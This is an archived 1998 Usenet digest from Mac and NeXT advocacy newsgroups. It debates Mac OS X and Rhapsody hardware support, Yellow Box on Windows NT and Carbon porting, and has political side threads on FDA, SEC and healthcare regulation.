Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 13:05:53 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu>
In article <rmcassid-0907981204040001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <stone-ya02408000R0807982323110001@news.enetis.net>,
> stone@stoneentertainment.com (Kevin Stone) wrote:
>
> >As has been repeated countless times on these newsgroups, Apple stated that
> >MacOSX will be -->optimized<-- for the G3 processor, not that it will run
> >only on G3 systems. It is highly unlikely that MacOSX will run only on G3
> >systems becuase...
> >
> >1. Apple has announced plans for an OSX port to Intel's X86 platform.
> >2. By the time MacOSX ships the G4 will have already been in mass
> >production for over 6 months.
> >
> >I believe logic dictates that these two facts falsify the idea that MacOSX
> >will run only on G3 systems. Being a combination of Rhapsody and other
> >projects, in all likelyhood MacOSX will run on the same hardware that
> >Rhapsody runs on, namely all PCI based PowerMacs and some 603e based
> >PowerBooks. Though this too is speculative, I think it is far more
> >plausible than the fabrication that MacOSX will run only on G3 based
> >systems.
>
> I think we need to consider that Apple is introducing a new concept to the
> Mac community: unsupported software.
>
> That Mac OS X will be fully supported on G3 hardware does not preclude it
> from running, however unofficially, on pre-G3 hardware. Even at the time
> that Mac OS X ships, Apple would _still_ not claim that Mac OS X supports
> pre-G3 hardware, even though it would run on it just fine.
>
> Historically, if Apple said that Mac OS 8 would run on 040 and up, that
> meant that it simply _would not_ run on 030s and down. You couldn't
> install it on older hardware, and upon boot it would not even _try_ to
> run. We're used to thinking in that manner when Apple makes a statement.
> Consider that this policy is changing and the 'G3 only' statement is being
> interpreted in the wrong way.
>
> Think of Mac OS X supporting G3 hardware in much the same way that
> Microsoft might announce support for their OSen.
>
> -Bob Cassidy
I hope you are right, but don't count on it. I have DR2 of Rhapsody, and it
will NOT even install on my Power Computing Power Center Pro (either
with or without a G3 upgrade card installed). To the installer, my machine
is a 7200. Apple has INTENTIONALLY excluded the 7200 from Rhapsody
support. There seems to be no way around this road-block, even though
Apple engineering has told me that there is really no reason why Rhapsody
wouldn't run on this machine (with either the original 604E processor or
the G3 upgrade daughtercard fitted), its just that they never tried it with
that motherboard, so when they put the gestalt list for the supported
computers in the Rhapsody installer, that one wasn't included.
Sorry to be so long-winded here, but my point is this: Based upon my
experiences trying to install DR2 of Rhapsody, I can tell you for a
dead-cinch fact that Apple most assuredly CAN restrict OSX in any
way they like. If they design the installer to exclude certain gestalt
IDs, then OSX simply won't install on those machine irresepective
of whether or not it will actually run on them!
George Graves
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 20:11:38 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o5shq$p47$1@camel0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o5hrd$jd4$1@camel0.mindspring.com> <6o5i34$khq$1@camel0.mindspring.com> <6o5m9a$smv$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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In article <6o5m9a$smv$1@nnrp1.dejanews.com> , cswiger@my-dejanews.com
writes:
>No, I haven't. I also don't worry about getting sick if I drink tap water
>without boiling it first, or that I might risk severe illness if I don't char
>my steak to well-done because the meat might be contaminated.
I guess the fact that your meat might well be contaminated despite the
lax supervision of the USDA inspectors hasn't crossed your mind?
Matthew Cromer
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 13:14:46 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1007981314460001@sf-usr1-48-176.dialup.slip.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <6o3u84$m8f$1@hole.sdsu.edu>
In article <6o3u84$m8f$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
> willis sean timothy (stwillis@ews.uiuc.edu) wrote:
>
> : Try running NT on a 486 66Mhz. I didn't think so.
>
> (Hertz is "Hz", not "hz".)
>
> I've done that. It worked OK, so long as you threw enough memory at it.
> (That's the chief problem with these Microsoft operating systems. The
> speed with which they run seems to be about proportional to the number
> of megabytes of installed RAM.) Linux, with XFree86, worked even
> better. Even now I'm only up to a 120 MHz K5 and have no need for
> anything faster.
>
> The 486 as a "workhorse" has had an exceptionally long useful life.
> It's certainly a lot more useful than, say, a Quadra 650 or other
> 68040. Try running System 8 on a 68040 33 MHz.
>
> -tomlinson
HMMM. I'm running System 8.1 on a 33 MHz 68LC040 Powerbook Duo 280.
As far as I can see, it runs just as fast as it did on System 7.5 (which
was installed on it when I got it). What's your point?
George Graves
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 10 Jul 1998 15:35:10 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A67AFE.87BA2FA2@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o5hrd$jd4$1@camel0.mindspring.com> <6o5i34$khq$1@camel0.mindspring.com> <6o5m9a$smv$1@nnrp1.dejanews.com> <6o5shq$p47$1@camel0.mindspring.com>
Mime-Version: 1.0
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Matthew Cromer wrote:
>
> In article <6o5m9a$smv$1@nnrp1.dejanews.com> , cswiger@my-dejanews.com
> writes:
> >No, I haven't. I also don't worry about getting sick if I drink tap water
> >without boiling it first, or that I might risk severe illness if I don't char
> >my steak to well-done because the meat might be contaminated.
>
> I guess the fact that your meat might well be contaminated despite the
> lax supervision of the USDA inspectors hasn't crossed your mind?
No, and it probably doesn't cross his mind, either, that the SEC is
hardly protection against stock failures. But for the majority of the
population these kinds of regulatory measure create a false sense of
security, making people think that it's OK to suspend all precautionary
measures and act like sheep or cows or pigs (or whatever livestock you
prefer to liken yourself after). The result is a dangerously unsafe
populace at the mercy of the government to whatever extents the
government has usurped personal responsibility.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 13:56:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CBCDD4-5A95A@206.165.43.175>
References: <kindall-0907981808510001@nic-c41-094.mw.mediaone.net>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Jerry Kindall <kindall@mail.manual.com> said:
>
>> Jerry Kindall <kindall@mail.manual.com> said:
>>
>> >Apple is saying that Mac OS X may run on my machine but not be
>supported.
>> >If that becomes a problem, I will not have any particular problem
>> >springing for a new machine. They have earned my loyalty time and
again
>> >by allowing me to upgrade my current machine. I can only hope that my
>> >next Mac will have as long a useful lifespan as my 7500.
>>
>> But what about when you try to SELL your 7500? Who will buy it and what
>new
>> owner of your old machine will trust Apple to continue to make a decent
>OS
>> for older machines when they've abandoned a 4-year-old machine?
>
>After four years, it's fully depreciated anyway.
>
Yeah, but what if you decide to GIVE it away? Wouldn't it be nicer if the
new owner had more options for software?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 20:59:17 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qd055.30p.sal@panix3.panix.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
On 10 Jul 1998 17:34:33 GMT, Don Yacktman <don@misckit.com> wrote:
>Yellow box on Winblows sucks rocks out of black holes. Winblows is NOT a
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>"solution" as far as I'm concerned. I want the full OS, on Intel. Period.
^^^^^^^^^^
I agree that NT is less than optimal in many/most cases; BUT, I CAN NOT
SELL A PRODUCT THAT WILL NOT RUN WITH MS OFFICE. Unless OSXtel can run
MS Office (native, not under a "RedBox") then I can not sell it.
YB on NT is a much easier sell.
--
sal@panix.com
Salvatore Denaro
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 13:54:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CBCD88-597AF@206.165.43.175>
References: <bgrubb-0907981558360001@lc172.zianet.com>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Bruce L. Grubb <bgrubb@zianet.com> said:
>In article <6o3cds$jrg$2@camel19.mindspring.com>, Matthew Cromer
><matthew_cromer@iname.com> wrote:
>
>>Lawson, Apple is such a bunch of scum, if they really gave a hoot they
>>would port MacOS X to the Apple II platform.
>>
>>I can't imagine why they won't do that.
>
>There are host of logical reasons. The most logical one is the hardware
>is simply too old to support all the features MacOS X especially given
>that the code is PPC native not whatever CPU the Apple II used.
Which doesn't apply to my GX-ATSUI proposal. While it certainly wouldn't be
as fast as ATSUI under the latest PowerMac, you CAN edit GX-based text,
even on an '030 machine. These machines don't appear in landfills, which is
what Jobs apparently believes. They get passed on down the line until they
stop working, both within families and within schools.
Of all the 030 machines that Apple released, only the LC ii's are too slow
to use GX text for SOMETHING (probably MacII's are more useful). GX is
Mac-only. Any GX-using application provides a lock for future upgrades to
Apple hardware. GX provides a universal, high-end graphics imaging model
that would allow parents, students and teachers to exchange and display
high-end graphics between Macintoshes without the expense of a PostScript
engine. It is trivial to convert GX graphics into QT vector graphics.
The fact that a YB-based, PPC-only 2D-3D hybrid engine could do much more
than GX doesn't change the facts: GX exists and should be used. Developers
should understand the ins and outs of retained-mode engines but everyone is
afraid to use it because it's been Steved.
Typical "vision" by Steve Jobs, actually.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 21:00:59 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o5veb$r9@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o5m9a$smv$1@nnrp1.dejanews.com> <6o5shq$p47$1@camel0.mindspring.com> <35A67AFE.87BA2FA2@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>No, and it probably doesn't cross his mind, either, that the SEC is
>hardly protection against stock failures. But for the majority of the
>population these kinds of regulatory measure create a false sense of
>security, making people think that it's OK to suspend all precautionary
>measures and act like sheep or cows or pigs (or whatever livestock you
>prefer to liken yourself after). The result is a dangerously unsafe
>populace at the mercy of the government to whatever extents the
>government has usurped personal responsibility.
You might also consider that
a. free markets are good because they are efficient.
b. Efficient markets require information.
c. Information can be costly and the effect of regulatory measures
is to make information less expensive, thereby improving the
market.
For example, requiring companies to make various SEC filings gives
certain information about the companies' financial performance in
a common format and in a form that can be compared.
d. The purpose of the SEC is not to "protect against stock failures".
The purpose of the SEC is to make sure the rules of the game
(whatever rules that the participants in the market are supposed to
follow) are followed.
e. A referee in a game doesn't protect one side or the other from
losing (unless the referee is crooked). The governing bodies of
horse racing don't prevent the population from dropping a bundle
on horse races. What they do make sure of is that the races are
run without cheating.
f. The markets where the equivalent of the SEC is weak are not
attractive to a lot of investors, because the cost of making sure
you are not in a crooked race are way too high.
Just FYI, today's New York Times has an opinion piece on the Asian
financial crisis. It says that failure to resolve the crisis may
undermine the belief in free markets; paraphrasing -- free markets
and free trade are hardly natural creations, they have an underpinning
of politics.
-arun gupta
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 10 Jul 1998 20:57:03 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6o5v6v$84q$1@news.spacelab.net>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net> <35A407FC.2184A3B4@ericsson.com> <syWo1.2965$24.17285705@news.itd.umich.edu> <35A43B75.726FC058@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
[ ... ]
>> Why this dichotomy: infallible or irrational? If I wake up and notice
>> that the streets are wet, it's not irrational to infer that it rained last
>> night.
>
>My point exactly. You were (presumably) rational, but your evidence was
>unsound and incomplete.
Not your point exactly.
Nor was the evidence "unsound". The evidence may have been incomplete.
>> That the streets are wet gives one reason for thinking that it rained even
>> though it's possible that it did not. Being rational is a matter of
>> having beliefs that track the available evidence; no more, no less.
>
>No, being rational is drawing not incorrect conclusions from the
>available data during the decision-making process.
The "correctness" of a rational conclusion isn't always guaranteed. It's
simply that it's your best assessment given the knowledge available to you at
the time-- nothing more, nothing less.
However, rational thought has the desirable property that if the facts
("evidence") you work with are right, your conclusions will be right.
> The fact that your ability to collect evidence is finitely bounded,
True. Celia Green talks about uncommon despair and the "recoil of
finiteness".
> grossly incomplete,
Depends on the topic. For finite, well defined problems, it's entirely
possible to collect complete information. Consider the evidence required to
play a game of tic-tac-toe-- it's simple enough that most adults manage to
play the "ideal" strategy (modulo symmetrical reflections) without effort.
> and generally faulty in the first place makes "rational" decision-making on
>human evidence correct usually only by accident.
Most engineers can be shown to do very well at being correct in their work.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 21:11:54 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qd0sq.30p.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com> <6o2v1s$m99@newsb.netnews.att.com> <35A5140D.F96A1F3F@ericsson.com> <6o3fak$13e$3@news.spacelab.net> <35A545DD.567CAFC@ericsson.com> <slrn6qb6br.o2v.sal@panix3.panix.com> <35A5B8E1.BCEB0C3B@nstar.net>
On Fri, 10 Jul 1998 01:46:57 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>I'm not sure what socialized medicine has to do with the actions of the
>FDA, which are tantamount to murder.
The European model places control of health care into the hands of doctors
and scientists. They have universal health care and get new drugs faster.
The US model places control in the hands of lawyers, accountants, civil
servants and insurance companies. I would greatly favor moving to a model
where health care is managed by people who are under the "Hippocratic oath"
than people who are working under the CYA doctrine.
--
sal@panix.com
Salvatore Denaro
Date: Fri, 10 Jul 1998 17:15:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1007981715180001@wil42.dol.net>
References: <kindall-0907981808510001@nic-c41-094.mw.mediaone.net> <B1CBCDD4-5A95A@206.165.43.175>
In article <B1CBCDD4-5A95A@206.165.43.175>, "Lawson English"
<english@primenet.com> wrote:
> Jerry Kindall <kindall@mail.manual.com> said:
>
> >
> >> Jerry Kindall <kindall@mail.manual.com> said:
> >>
> >> >Apple is saying that Mac OS X may run on my machine but not be
> >supported.
> >> >If that becomes a problem, I will not have any particular problem
> >> >springing for a new machine. They have earned my loyalty time and
> again
> >> >by allowing me to upgrade my current machine. I can only hope that my
> >> >next Mac will have as long a useful lifespan as my 7500.
> >>
> >> But what about when you try to SELL your 7500? Who will buy it and what
> >new
> >> owner of your old machine will trust Apple to continue to make a decent
> >OS
> >> for older machines when they've abandoned a 4-year-old machine?
> >
> >After four years, it's fully depreciated anyway.
> >
>
> Yeah, but what if you decide to GIVE it away? Wouldn't it be nicer if the
> new owner had more options for software?
Bogus argument, either way.
Macs retain their resale value much better than PCs.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 21:23:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qd1j8.30p.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com> <35A5BA1B.3CFBDCA6@nstar.net>
On Fri, 10 Jul 1998 01:52:11 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>I wouldn't, to be blunt.
By not providing guaranteed health care we as a socity are guilty of the
same "murder by neglect" that you accuse the FDA of.
I believe that everyone is born with certain rights. Chief among these
are the rights to life, liberty and the pursuit of happiness. By not
providing guaranteed health care we are cheating people out of thier
right to life.
>Guaranteed health care means guaranteed
>spiraling health care costs.
NEWS FLASH: We have spiraling health care costs. And quality is going
down while health care providers are enjoying record profits.
> Health care guarantees are as
>destructive as wage controls, which reduce employment, decrease
>efficiency, and pass on the additional costs to consumers.
Why can every industrialized nation on earth (and many 3rd world nations as
well) provide health care? Can you provide an example of a nation where
providing guaranteed health care had a detremental effect on the economy?
>Health care is currently a (generally) competitive proposition. Removing
>the competition will reduce the value of the health care market.
That turns out not to be true. The US has the most competitive Health care
market on earth. In the past decade the quality has been going down while
costs have been rising. At the same time health care providers are enjoying
record profits.
--
sal@panix.com
Salvatore Denaro
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 10 Jul 1998 21:30:36 GMT
Organization: San Diego State University
Message-ID: <6o615s$vca$2@hole.sdsu.edu>
References: <kindall-0907981808510001@nic-c41-094.mw.mediaone.net> <B1CBCDD4-5A95A@206.165.43.175> <joe.ragosta-1007981715180001@wil42.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: Macs retain their resale value much better than PCs.
Rather beside the point, when the PC has little value to begin with.
It's part of the reason I prefer old cars; a VW Bug is already so
comparatively worthless (whether it's in good shape or not) that
depreciation isn't important. Likewise a PC assembled from parts
for a few hundred dollars frees one from worry about "resale
value", especially when all that really needs replacement upon
upgrade is the motherboard. (Given current trends, however, this
state of affairs is not likely to persist.)
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 21:30:35 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qd1vr.30p.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o5hrd$jd4$1@camel0.mindspring.com> <6o5i34$khq$1@camel0.mindspring.com> <6o5m9a$smv$1@nnrp1.dejanews.com> <6o5shq$p47$1@camel0.mindspring.com> <35A67AFE.87BA2FA2@ericsson.com>
On Fri, 10 Jul 1998 15:35:10 -0500, Michael Peck <Michael.Peck@ericsson.com> wrote:
>population these kinds of regulatory measure create a false sense of
>security, making people think that it's OK to suspend all precautionary
>measures and act like sheep or cows or pigs (or whatever livestock you
>prefer to liken yourself after). The result is a dangerously unsafe
>populace at the mercy of the government to whatever extents the
>government has usurped personal responsibility.
You are right, it is much healther to blame the government for everything
that it wrong in the world.
--
sal@panix.com
Salvatore Denaro
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Date: 10 Jul 1998 20:36:51 GMT
Organization: University of Illinois at Chicago
Message-ID: <6o5u13$28eq$1@piglet.cc.uic.edu>
References: <6o3cbd$o1k@newsb.netnews.att.com> <6o50qd$30$1@news.cs.tu-berlin.de>
Marcel Weiher (marcel@cs.tu-berlin.de) wrote:
: gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
: >says that "This year ISSCC has a paper describing the
: >first microprocessor implementing a mainstream architecture
: >(the PowerPC) with coarse-grain multithreading. Coarse
: >grain multithreading hides the delays caused by data fetches
: >from memory by switching between 2 or more program threads."
: Very interesting. Corroborates a suspicion I've had for a while
: that real multitasking is necessary for virtual memory to be
: useful. After all, even a fairly low page-fault rate will
: slow a single process virtually to a halt, so system performance
: can only be maintained if there are other useful processes
: to switch to.
: On the other hand, if there usually is a useful process to switch
: to, virtual memory overhead can be almost completely hidden as long
: as the pages can be made available by the time the process is
: scheduled to run again.
: Marcel
: --
: Java and C++ make you think that the new ideas are like the old ones.
: Java is the most distressing thing to hit computing since MS-DOS.
: - Alan Kay -
Multithreading in this case is targetted at delays not caused from from
accessing memory pages swapped to disk, but rather accessing high latency
DRAM used as main memory. Limited multithreading support and fast context
switches could allow higher system throughput if those processor cycles
wasted waiting on data that is not in the L1 or L2 but in main memory
could be utilized for computing by running other threads, which might have
all the data they need in cache.
Anyway swapping in pages written to disk requires the attention of the
OS and thus requires processor time. However, the OS may be able
to make use of the multithreading support to switch over to another
thread quickly while waiting for the pages to be read back in.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 21:34:13 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qd26l.30p.sal@panix3.panix.com>
References: <6o322n$crr$1@lwnws01.ne.highway1.com> <B1CA843B-1438B@206.165.43.167> <slrn6qaepp.ki5.jason@jhste1.dyn.ml.org> <joe.ragosta-1007980833500001@wil117.dol.net>
On Fri, 10 Jul 1998 08:33:50 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>BTW, feel free to tell them that I'll teach them how to use attachments
>for, let's say, $20,000.
Why not offer to extract attachments for them at the rate of $80/hour?
--
sal@panix.com
Salvatore Denaro
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Fri, 10 Jul 1998 21:33:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o61au$frc$1@nnrp1.dejanews.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <1dbupy1.zcyvzv1hf1jkvN@carina22.wco.com> <atlauren-0907981050270001@jungleland.acs.uci.edu> <joe.ragosta-1007980807590001@wil117.dol.net>
In article <joe.ragosta-1007980807590001@wil117.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>> Apple's public statements of hardware support in OS X only mention G3
>> systems.
>> In the Macintosh world, "not supported" means "doesn't work, won't run."
>
> Not true.
Macintouch (http://www.macintouch.com) has a quote from Avie Tevanian stating
that MacOS X will not run on 603e processors and will most likely not run
even on a subset of 604 based Macs. He also stated that Apple is not going to
try to support the G3 upgrade cards.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 21:50:37 GMT
Organization: MiscKit Development
Message-ID: <6o62bd$6q$4@news.xmission.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <joe.ragosta-1007981420010001@wil56.dol.net>
NNTP-Posting-Date: 10 Jul 1998 21:50:37 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6o5jba$6q$1@news.xmission.com>, don@misckit.com wrote:
> > Yellow box on Winblows sucks rocks out of black holes. Winblows is NOT a
> > "solution" as far as I'm concerned. [...].
>
> "sucks rocks out of black holes". Maybe just a teensy bit of exaggeration?
Hey, look everybody!
Joe's defending Windoze!
My, how times change!
:-)
Of course, in context, I hope everyone realizes I mean to say that it isn't
YB that sucks. It's Windows, when compared to Mach, that's doing all the
sucking. And perhaps I'm exaggerating a little with the black hole
thing...but then again, given the irritations of the past few days I've had
in dealing with Windows, I feel well within my rights to say that "it sucks
rocks out of black holes". I'm in a bloody bad mood right now, and fiesty as
hell. Blame the jerks up in Redmond for that.
(Yes, I may be beyond the point of reasonable discourse, so I'll bow out of
further discussion now before I make more of an *ss out of myself.)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
Date: 10 Jul 1998 21:50:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qd35g.30p.sal@panix3.panix.com>
References: <6o3vu2$m80$1@news.xmission.com> <Fergus.Doherty-ya02408000R1007981043370001@news.nottingham.ac.uk>
On Fri, 10 Jul 1998 10:43:37 +0100, Fergus Doherty <Fergus.Doherty@nottingham.ac.uk> wrote:
>Is there a problem with porting Carbon to Rhapsody for Intel?
Carbon comes from QuickTimeML. QTML runs on Rhapsody/Intel.
> If there is
>then this may exclude MacOS X for intel. Or it may be a marketing thing,
--------------------------------------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Much closer to the truth.
>Apple wanting to keep Mac app users on Mac hardware. So why not a
Why should Apple build MacOSX for Intel when it still isn't certain that
MacOSX will support 604/PCI Macs?
Paraphrased quote from an Apple person:
"The big challenge is drivers. We would rather do drivers for the PCI
Macs first, the rest of the world when that's done."
What would be the message to Mac owners if thier 9600s couldn't run
MacOSX but a DellMMX from the same time could run it?
--
sal@panix.com
Salvatore Denaro
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOSX == Rhapsody
Message-ID: <forrestDELETE-THIS!-1007981458280001@term1-15.vta.west.net>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <slrn6qd055.30p.sal@panix3.panix.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Fri, 10 Jul 1998 21:59:18 GMT
NNTP-Posting-Date: Fri, 10 Jul 1998 14:59:18 PDT
In article <slrn6qd055.30p.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On 10 Jul 1998 17:34:33 GMT, Don Yacktman <don@misckit.com> wrote:
> >Yellow box on Winblows sucks rocks out of black holes. Winblows is NOT a
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >"solution" as far as I'm concerned. I want the full OS, on Intel. Period.
> ^^^^^^^^^^
>
> I agree that NT is less than optimal in many/most cases; BUT, I CAN NOT
> SELL A PRODUCT THAT WILL NOT RUN WITH MS OFFICE. Unless OSXtel can run
> MS Office (native, not under a "RedBox") then I can not sell it.
>
> YB on NT is a much easier sell.
Apple has stated, somewhere (anyone got a reference? I heard it in either
this group or CSMA) that Carbon could quite easily be ported to
Mach/Intel. And if it was, all that would be required to port a Carbon app
to OSX/Intel would be a recompile. Quite similar to YB, actually, except
the API itself is less elegant (So I hear. I'm not a coder, I just play
one on usenet :-] ). So, what I think Apple should do:
Mac OS X for PowerPC - POSIX, YB, Carbon, Blue Box, Java, all on Mach 3
under a Mac-like UI. $100.
Mac OS X Pro for PowerPC - OSX/PPC plus server and dev tools and all that
